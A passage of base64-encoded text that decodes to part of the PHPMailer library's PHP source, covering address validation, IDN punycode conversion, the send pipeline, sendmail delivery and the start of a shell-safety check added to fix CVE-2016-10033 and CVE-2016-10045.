3RybGVuKCRhZGRyZXNzKSA+PSAzCiAgICAgICAgICAgICAgICAgICAgYW5kIHN0cnBvcygkYWRkcmVzcywgJ0AnKSA+PSAxCiAgICAgICAgICAgICAgICAgICAgYW5kIHN0cnBvcygkYWRkcmVzcywgJ0AnKSAhPSBzdHJsZW4oJGFkZHJlc3MpIC0gMSk7CiAgICAgICAgICAgIGNhc2UgJ3BocCc6CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pZmlsdGVyX3ZhcigkYWRkcmVzcywgRklMVEVSX1ZBTElEQVRFX0VNQUlMKTsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBUZWxscyB3aGV0aGVyIElETnMgKEludGVybmF0aW9uYWxpemVkIERvbWFpbiBOYW1lcykgYXJlIHN1cHBvcnRlZCBvciBub3QuIFRoaXMgcmVxdWlyZXMgdGhlCiAgICAgKiAiaW50bCIgYW5kICJtYnN0cmluZyIgUEhQIGV4dGVuc2lvbnMuCiAgICAgKiBAcmV0dXJuIGJvb2wgInRydWUiIGlmIHJlcXVpcmVkIGZ1bmN0aW9ucyBmb3IgSUROIHN1cHBvcnQgYXJlIHByZXNlbnQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlkblN1cHBvcnRlZCgpCiAgICB7CiAgICAgICAgLy8gQFRPRE86IFdyaXRlIG91ciBvd24gImlkbl90b19hc2NpaSIgZnVuY3Rpb24gZm9yIFBIUCA8PSA1LjIuCiAgICAgICAgcmV0dXJuIGZ1bmN0aW9uX2V4aXN0cygnaWRuX3RvX2FzY2lpJykgYW5kIGZ1bmN0aW9uX2V4aXN0cygnbWJfY29udmVydF9lbmNvZGluZycpOwogICAgfQoKICAgIC8qKgogICAgICogQ29udmVydHMgSUROIGluIGdpdmVuIGVtYWlsIGFkZHJlc3MgdG8gaXRzIEFTQ0lJIGZvcm0sIGFsc28ga25vd24gYXMgcHVueWNvZGUsIGlmIHBvc3NpYmxlLgogICAgICogSW1wb3J0YW50OiBBZGRyZXNzIG11c3QgYmUgcGFzc2VkIGluIHNhbWUgZW5jb2RpbmcgYXMgY3VycmVudGx5IHNldCBpbiBQSFBNYWlsZXI6OiRDaGFyU2V0LgogICAgICogVGhpcyBmdW5jdGlvbiBzaWxlbnRseSByZXR1cm5zIHVubW9kaWZpZWQgYWRkcmVzcyBpZjoKICAgICAqIC0gTm8gY29udmVyc2lvbiBpcyBuZWNlc3NhcnkgKGkuZS4gZG9tYWluIG5hbWUgaXMgbm90IGFuIElETiwgb3IgaXMgYWxyZWFkeSBpbiBBU0NJSSBmb3JtKQogICAgICogLSBDb252ZXJzaW9uIHRvIHB1bnljb2RlIGlzIGltcG9zc2libGUgKGUuZy4gcmVxdWlyZWQgUEhQIGZ1bmN0aW9ucyBhcmUgbm90IGF2YWlsYWJsZSkKICAgICAqICAgb3IgZmFpbHMgZm9yIGFueSByZWFzb24gKGUuZy4gZG9tYWluIGhhcyBjaGFyYWN0ZXJzIG5vdCBhbGxvd2VkIGluIGFuIElETikKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokQ2hhclNldAogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBjb252ZXJ0CiAgICAgKiBAcmV0dXJuIHN0cmluZyBUaGUgZW5jb2RlZCBhZGRyZXNzIGluIEFTQ0lJIGZvcm0KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHB1bnllbmNvZGVBZGRyZXNzKCRhZGRyZXNzKQogICAgewogICAgICAgIC8vIFZlcmlmeSB3ZSBoYXZlIHJlcXVpcmVkIGZ1bmN0aW9ucywgQ2hhclNldCwgYW5kIGF0LXNpZ24uCiAgICAgICAgaWYgKCR0aGlzLT5pZG5TdXBwb3J0ZWQoKSBhbmQKICAgICAgICAgICAgIWVtcHR5KCR0aGlzLT5DaGFyU2V0KSBhbmQKICAgICAgICAgICAgKCRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJGRvbWFpbiA9IHN1YnN0cigkYWRkcmVzcywgKyskcG9zKTsKICAgICAgICAgICAgLy8gVmVyaWZ5IENoYXJTZXQgc3RyaW5nIGlzIGEgdmFsaWQgb25lLCBhbmQgZG9tYWluIHByb3Blcmx5IGVuY29kZWQgaW4gdGhpcyBDaGFyU2V0LgogICAgICAgICAgICBpZiAoJHRoaXMtPmhhczhiaXRDaGFycygkZG9tYWluKSBhbmQgQG1iX2NoZWNrX2VuY29kaW5nKCRkb21haW4sICR0aGlzLT5DaGFyU2V0KSkgewogICAgICAgICAgICAgICAgJGRvbWFpbiA9IG1iX2NvbnZlcnRfZW5jb2RpbmcoJGRvbWFpbiwgJ1VURi04JywgJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICAgICAgICAgaWYgKCgkcHVueWNvZGUgPSBkZWZpbmVkKCdJTlRMX0lETkFfVkFSSUFOVF9VVFM0NicpID8KICAgICAgICAgICAgICAgICAgICBpZG5fdG9fYXNjaWkoJGRvbWFpbiwgMCwgSU5UTF9JRE5BX1ZBUklBTlRfVVRTNDYpIDoKICAgICAgICAgICAgICAgICAgICBpZG5fdG9fYXNjaWkoJGRvbWFpbikpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiBzdWJzdHIoJGFkZHJlc3MsIDAsICRwb3MpIC4gJHB1bnljb2RlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYWRkcmVzczsKICAgIH0KCiAgICAvKioKICAgICAqIENyZWF0ZSBhIG1lc3NhZ2UgYW5kIHNlbmQgaXQuCiAgICAgKiBVc2VzIHRoZSBzZW5kaW5nIG1ldGhvZCBzcGVjaWZpZWQgYnkgJE1haWxlci4KICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gZmFsc2Ugb24gZXJyb3IgLSBTZWUgdGhlIEVycm9ySW5mbyBwcm9wZXJ0eSBmb3IgZGV0YWlscyBvZiB0aGUgZXJyb3IuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzZW5kKCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICBpZiAoISR0aGlzLT5wcmVTZW5kKCkpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gJHRoaXMtPnBvc3RTZW5kKCk7CiAgICAgICAgfSBjYXRjaCAocGhwbWFpbGVyRXhjZXB0aW9uICRleGMpIHsKICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgPSAnJzsKICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCRleGMtPmdldE1lc3NhZ2UoKSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgJGV4YzsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogUHJlcGFyZSBhIG1lc3NhZ2UgZm9yIHNlbmRpbmcuCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBwcmVTZW5kKCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICAkdGhpcy0+ZXJyb3JfY291bnQgPSAwOyAvLyBSZXNldCBlcnJvcnMKICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgPSAnJzsKCiAgICAgICAgICAgIC8vIERlcXVldWUgcmVjaXBpZW50IGFuZCBSZXBseS1UbyBhZGRyZXNzZXMgd2l0aCBJRE4KICAgICAgICAgICAgZm9yZWFjaCAoYXJyYXlfbWVyZ2UoJHRoaXMtPlJlY2lwaWVudHNRdWV1ZSwgJHRoaXMtPlJlcGx5VG9RdWV1ZSkgYXMgJHBhcmFtcykgewogICAgICAgICAgICAgICAgJHBhcmFtc1sxXSA9ICR0aGlzLT5wdW55ZW5jb2RlQWRkcmVzcygkcGFyYW1zWzFdKTsKICAgICAgICAgICAgICAgIGNhbGxfdXNlcl9mdW5jX2FycmF5KGFycmF5KCR0aGlzLCAnYWRkQW5BZGRyZXNzJyksICRwYXJhbXMpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgoY291bnQoJHRoaXMtPnRvKSArIGNvdW50KCR0aGlzLT5jYykgKyBjb3VudCgkdGhpcy0+YmNjKSkgPCAxKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdwcm92aWRlX2FkZHJlc3MnKSwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIFZhbGlkYXRlIEZyb20sIFNlbmRlciwgYW5kIENvbmZpcm1SZWFkaW5nVG8gYWRkcmVzc2VzCiAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5KCdGcm9tJywgJ1NlbmRlcicsICdDb25maXJtUmVhZGluZ1RvJykgYXMgJGFkZHJlc3Nfa2luZCkgewogICAgICAgICAgICAgICAgJHRoaXMtPiRhZGRyZXNzX2tpbmQgPSB0cmltKCR0aGlzLT4kYWRkcmVzc19raW5kKTsKICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+JGFkZHJlc3Nfa2luZCkpIHsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICR0aGlzLT4kYWRkcmVzc19raW5kID0gJHRoaXMtPnB1bnllbmNvZGVBZGRyZXNzKCR0aGlzLT4kYWRkcmVzc19raW5kKTsKICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkdGhpcy0+JGFkZHJlc3Nfa2luZCkpIHsKICAgICAgICAgICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdpbnZhbGlkX2FkZHJlc3MnKSAuICcgKHB1bnlFbmNvZGUpICcgLiAkdGhpcy0+JGFkZHJlc3Nfa2luZDsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBTZXQgd2hldGhlciB0aGUgbWVzc2FnZSBpcyBtdWx0aXBhcnQvYWx0ZXJuYXRpdmUKICAgICAgICAgICAgaWYgKCR0aGlzLT5hbHRlcm5hdGl2ZUV4aXN0cygpKSB7CiAgICAgICAgICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAnbXVsdGlwYXJ0L2FsdGVybmF0aXZlJzsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJHRoaXMtPnNldE1lc3NhZ2VUeXBlKCk7CiAgICAgICAgICAgIC8vIFJlZnVzZSB0byBzZW5kIGFuIGVtcHR5IG1lc3NhZ2UgdW5sZXNzIHdlIGFyZSBzcGVjaWZpY2FsbHkgYWxsb3dpbmcgaXQKICAgICAgICAgICAgaWYgKCEkdGhpcy0+QWxsb3dFbXB0eSBhbmQgZW1wdHkoJHRoaXMtPkJvZHkpKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdlbXB0eV9tZXNzYWdlJyksIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBDcmVhdGUgYm9keSBiZWZvcmUgaGVhZGVycyBpbiBjYXNlIGJvZHkgbWFrZXMgY2hhbmdlcyB0byBoZWFkZXJzIChlLmcuIGFsdGVyaW5nIHRyYW5zZmVyIGVuY29kaW5nKQogICAgICAgICAgICAkdGhpcy0+TUlNRUhlYWRlciA9ICcnOwogICAgICAgICAgICAkdGhpcy0+TUlNRUJvZHkgPSAkdGhpcy0+Y3JlYXRlQm9keSgpOwogICAgICAgICAgICAvLyBjcmVhdGVCb2R5IG1heSBoYXZlIGFkZGVkIHNvbWUgaGVhZGVycywgc28gcmV0YWluIHRoZW0KICAgICAgICAgICAgJHRlbXBoZWFkZXJzID0gJHRoaXMtPk1JTUVIZWFkZXI7CiAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyID0gJHRoaXMtPmNyZWF0ZUhlYWRlcigpOwogICAgICAgICAgICAkdGhpcy0+TUlNRUhlYWRlciAuPSAkdGVtcGhlYWRlcnM7CgogICAgICAgICAgICAvLyBUbyBjYXB0dXJlIHRoZSBjb21wbGV0ZSBtZXNzYWdlIHdoZW4gdXNpbmcgbWFpbCgpLCBjcmVhdGUKICAgICAgICAgICAgLy8gYW4gZXh0cmEgaGVhZGVyIGxpc3Qgd2hpY2ggY3JlYXRlSGVhZGVyKCkgZG9lc24ndCBmb2xkIGluCiAgICAgICAgICAgIGlmICgkdGhpcy0+TWFpbGVyID09ICdtYWlsJykgewogICAgICAgICAgICAgICAgaWYgKGNvdW50KCR0aGlzLT50bykgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmFkZHJBcHBlbmQoJ1RvJywgJHRoaXMtPnRvKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1RvJywgJ3VuZGlzY2xvc2VkLXJlY2lwaWVudHM6OycpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmhlYWRlckxpbmUoCiAgICAgICAgICAgICAgICAgICAgJ1N1YmplY3QnLAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcih0cmltKCR0aGlzLT5TdWJqZWN0KSkpCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBTaWduIHdpdGggREtJTSBpZiBlbmFibGVkCiAgICAgICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkRLSU1fZG9tYWluKQogICAgICAgICAgICAgICAgYW5kICFlbXB0eSgkdGhpcy0+REtJTV9zZWxlY3RvcikKICAgICAgICAgICAgICAgIGFuZCAoIWVtcHR5KCR0aGlzLT5ES0lNX3ByaXZhdGVfc3RyaW5nKQogICAgICAgICAgICAgICAgICAgIG9yICghZW1wdHkoJHRoaXMtPkRLSU1fcHJpdmF0ZSkKICAgICAgICAgICAgICAgICAgICAgICAgYW5kIHNlbGY6OmlzUGVybWl0dGVkUGF0aCgkdGhpcy0+REtJTV9wcml2YXRlKQogICAgICAgICAgICAgICAgICAgICAgICBhbmQgZmlsZV9leGlzdHMoJHRoaXMtPkRLSU1fcHJpdmF0ZSkKICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgJGhlYWRlcl9ka2ltID0gJHRoaXMtPkRLSU1fQWRkKAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyIC4gJHRoaXMtPm1haWxIZWFkZXIsCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCR0aGlzLT5TdWJqZWN0KSksCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPk1JTUVCb2R5CiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgJHRoaXMtPk1JTUVIZWFkZXIgPSBydHJpbSgkdGhpcy0+TUlNRUhlYWRlciwgIlxyXG4gIikgLiBzZWxmOjpDUkxGIC4KICAgICAgICAgICAgICAgICAgICBzdHJfcmVwbGFjZSgiXHJcbiIsICJcbiIsICRoZWFkZXJfZGtpbSkgLiBzZWxmOjpDUkxGOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93ICRleGM7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIEFjdHVhbGx5IHNlbmQgYSBtZXNzYWdlLgogICAgICogU2VuZCB0aGUgZW1haWwgdmlhIHRoZSBzZWxlY3RlZCBtZWNoYW5pc20KICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHBvc3RTZW5kKCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICAvLyBDaG9vc2UgdGhlIG1haWxlciBhbmQgc2VuZCB0aHJvdWdoIGl0CiAgICAgICAgICAgIHN3aXRjaCAoJHRoaXMtPk1haWxlcikgewogICAgICAgICAgICAgICAgY2FzZSAnc2VuZG1haWwnOgogICAgICAgICAgICAgICAgY2FzZSAncW1haWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+c2VuZG1haWxTZW5kKCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOwogICAgICAgICAgICAgICAgY2FzZSAnc210cCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5zbXRwU2VuZCgkdGhpcy0+TUlNRUhlYWRlciwgJHRoaXMtPk1JTUVCb2R5KTsKICAgICAgICAgICAgICAgIGNhc2UgJ21haWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+bWFpbFNlbmQoJHRoaXMtPk1JTUVIZWFkZXIsICR0aGlzLT5NSU1FQm9keSk7CiAgICAgICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgICAgICRzZW5kTWV0aG9kID0gJHRoaXMtPk1haWxlci4nU2VuZCc7CiAgICAgICAgICAgICAgICAgICAgaWYgKG1ldGhvZF9leGlzdHMoJHRoaXMsICRzZW5kTWV0aG9kKSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPiRzZW5kTWV0aG9kKCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOwogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5tYWlsU2VuZCgkdGhpcy0+TUlNRUhlYWRlciwgJHRoaXMtPk1JTUVCb2R5KTsKICAgICAgICAgICAgfQogICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCRleGMtPmdldE1lc3NhZ2UoKSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgJGV4YzsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1haWwgdXNpbmcgdGhlICRTZW5kbWFpbCBwcm9ncmFtLgogICAgICogQHBhcmFtIHN0cmluZyAkaGVhZGVyIFRoZSBtZXNzYWdlIGhlYWRlcnMKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvZHkgVGhlIG1lc3NhZ2UgYm9keQogICAgICogQHNlZSBQSFBNYWlsZXI6OiRTZW5kbWFpbAogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHNlbmRtYWlsU2VuZCgkaGVhZGVyLCAkYm9keSkKICAgIHsKICAgICAgICAvLyBDVkUtMjAxNi0xMDAzMywgQ1ZFLTIwMTYtMTAwNDU6IERvbid0IHBhc3MgLWYgaWYgY2hhcmFjdGVycyB3aWxsIGJlIGVzY2FwZWQuCiAgICAgICAgaWYgKCFlbXB0eSgkdGhpcy0+U2VuZGVyKSBhbmQgc2VsZjo6aXNTaGVsbFNhZmUoJHRoaXMtPlNlbmRlcikpIHsKICAgICAgICAgICAgaWYgKCR0aGlzLT5NYWlsZXIgPT0gJ3FtYWlsJykgewogICAgICAgICAgICAgICAgJHNlbmRtYWlsRm10ID0gJyVzIC1mJXMnOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHNlbmRtYWlsRm10ID0gJyVzIC1vaSAtZiVzIC10JzsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+TWFpbGVyID09ICdxbWFpbCcpIHsKICAgICAgICAgICAgICAgICRzZW5kbWFpbEZtdCA9ICclcyc7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkc2VuZG1haWxGbXQgPSAnJXMgLW9pIC10JzsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gVE9ETzogSWYgcG9zc2libGUsIHRoaXMgc2hvdWxkIGJlIGNoYW5nZWQgdG8gZXNjYXBlc2hlbGxhcmcuICBOZWVkcyB0aG9yb3VnaCB0ZXN0aW5nLgogICAgICAgICRzZW5kbWFpbCA9IHNwcmludGYoJHNlbmRtYWlsRm10LCBlc2NhcGVzaGVsbGNtZCgkdGhpcy0+U2VuZG1haWwpLCAkdGhpcy0+U2VuZGVyKTsKCiAgICAgICAgaWYgKCR0aGlzLT5TaW5nbGVUbykgewogICAgICAgICAgICBmb3JlYWNoICgkdGhpcy0+U2luZ2xlVG9BcnJheSBhcyAkdG9BZGRyKSB7CiAgICAgICAgICAgICAgICBpZiAoIUAkbWFpbCA9IHBvcGVuKCRzZW5kbWFpbCwgJ3cnKSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4ZWN1dGUnKSAuICR0aGlzLT5TZW5kbWFpbCwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBmcHV0cygkbWFpbCwgJ1RvOiAnIC4gJHRvQWRkciAuICJcbiIpOwogICAgICAgICAgICAgICAgZnB1dHMoJG1haWwsICRoZWFkZXIpOwogICAgICAgICAgICAgICAgZnB1dHMoJG1haWwsICRib2R5KTsKICAgICAgICAgICAgICAgICRyZXN1bHQgPSBwY2xvc2UoJG1haWwpOwogICAgICAgICAgICAgICAgJHRoaXMtPmRvQ2FsbGJhY2soCiAgICAgICAgICAgICAgICAgICAgKCRyZXN1bHQgPT0gMCksCiAgICAgICAgICAgICAgICAgICAgYXJyYXkoJHRvQWRkciksCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmNjLAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5iY2MsCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlN1YmplY3QsCiAgICAgICAgICAgICAgICAgICAgJGJvZHksCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPkZyb20KICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICBpZiAoJHJlc3VsdCAhPSAwKSB7CiAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXhlY3V0ZScpIC4gJHRoaXMtPlNlbmRtYWlsLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICghQCRtYWlsID0gcG9wZW4oJHNlbmRtYWlsLCAndycpKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdleGVjdXRlJykgLiAkdGhpcy0+U2VuZG1haWwsIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZwdXRzKCRtYWlsLCAkaGVhZGVyKTsKICAgICAgICAgICAgZnB1dHMoJG1haWwsICRib2R5KTsKICAgICAgICAgICAgJHJlc3VsdCA9IHBjbG9zZSgkbWFpbCk7CiAgICAgICAgICAgICR0aGlzLT5kb0NhbGxiYWNrKAogICAgICAgICAgICAgICAgKCRyZXN1bHQgPT0gMCksCiAgICAgICAgICAgICAgICAkdGhpcy0+dG8sCiAgICAgICAgICAgICAgICAkdGhpcy0+Y2MsCiAgICAgICAgICAgICAgICAkdGhpcy0+YmNjLAogICAgICAgICAgICAgICAgJHRoaXMtPlN1YmplY3QsCiAgICAgICAgICAgICAgICAkYm9keSwKICAgICAgICAgICAgICAgICR0aGlzLT5Gcm9tCiAgICAgICAgICAgICk7CiAgICAgICAgICAgIGlmICgkcmVzdWx0ICE9IDApIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4ZWN1dGUnKSAuICR0aGlzLT5TZW5kbWFpbCwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgLyoqCiAgICAgKiBGaXggQ1ZFLTIwMTYtMTAwMzMgYW5kIENWRS0yMDE2LTEwMDQ1IGJ5IGRpc2FsbG93aW5nIHBvdGVudGlhbGx5IHVuc2FmZSBzaGVsbCBjaGFyYWN0ZXJzLgogICAgICoKICAgICAqIE5vdGUgdGhhdCBlc2NhcGVzaGVsbGFyZyBhbmQgZXNjYXBlc2hlbGxjbWQgYXJlIGluYWRlcXVhdGUgZm9yIG91ciBwdXJwb3NlcywgZXNwZWNpYWxseSBvbiBXaW5kb3dzLgogICAgICogQHBhcmFtIHN0cmluZyAkc3RyaW5nIFRoZSBzdHJpbmcgdG8gYmUgdmFsaWRhdGVkCiAgICAgKiBAc2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9QSFBNYWlsZXIvUEhQTWFpbGVyL2lzc3Vlcy85MjQgQ1ZFLTIwMTYtMTAwNDUgYnVnIHJlcG9ydAogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwcm90ZWN0ZWQgc3RhdGljIGZ1bmN0aW9uIGlzU2hlbGxTYWZlKCRzdHJpbmcpCiAgICB7CiAgICAgICAgLy8gRnV0dXJlLXByb29mCiAgICAgICAgaWYgKGVzY2FwZXNoZWxsY21kKCRzdHJpbmcpICE9PSAkc3RyaW5nCiAgICAgICAgICAgIG9yICFpbl9hcnJheShlc2NhcGVzaGVsbGFyZygkc3RyaW5nKSwgYXJyYXkoIickc3RyaW5nJyIsICJcIiRzdHJpbmdcIiIpKQogICAgICAgICkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQoKICAgICAgICAkbGVuZ3RoID0gc3RybGVuKCRzdHJpbmcpOwoKICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAkbGVuZ3RoOyAkaSsrKSB7CiAgICAgICAgICAgICRjID0gJHN0cmluZ1skaV07CgogICAgICAgICAgICAvLyBBbGwgb3RoZXIgY2hhcmFjdGVycyBoYXZlIGEgc3BlY2lhbCBtZWFuaW5nIGluIGF0IGxlYXN0IG9uZSBjb21tb24gc2hlbGwsIGluY2x1ZGluZyA9IGFuZCArLgogICAgICAgICAgICAvLyBGdWxsIHN0b3AgKC4pIGhhcyBhIHNwZWNpYWwgbWVhbmluZyBpbiBjbWQuZXhlLCBidXQgaXRzIGltcGFjdCBzaG91bGQgYmUgbmVnbGlnaWJsZSBoZXJlLgogICAgICAgICAgICAvLyBOb3RlIHRoYXQgdGhpcyBkb2VzIHBlcm1pdCBub24tTGF0aW4gYWxwaGFudW1lcmljIGNoYXJhY3RlcnMgYmFzZWQgb24gdGhlIGN1cnJlbnQgbG9jYWxlLgogICAgICAgICAgICBpZiAoIWN0eXBlX2FsbnVtKCRjKSAmJiBzdHJwb3MoJ0BfLS4nLCAkYykgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiA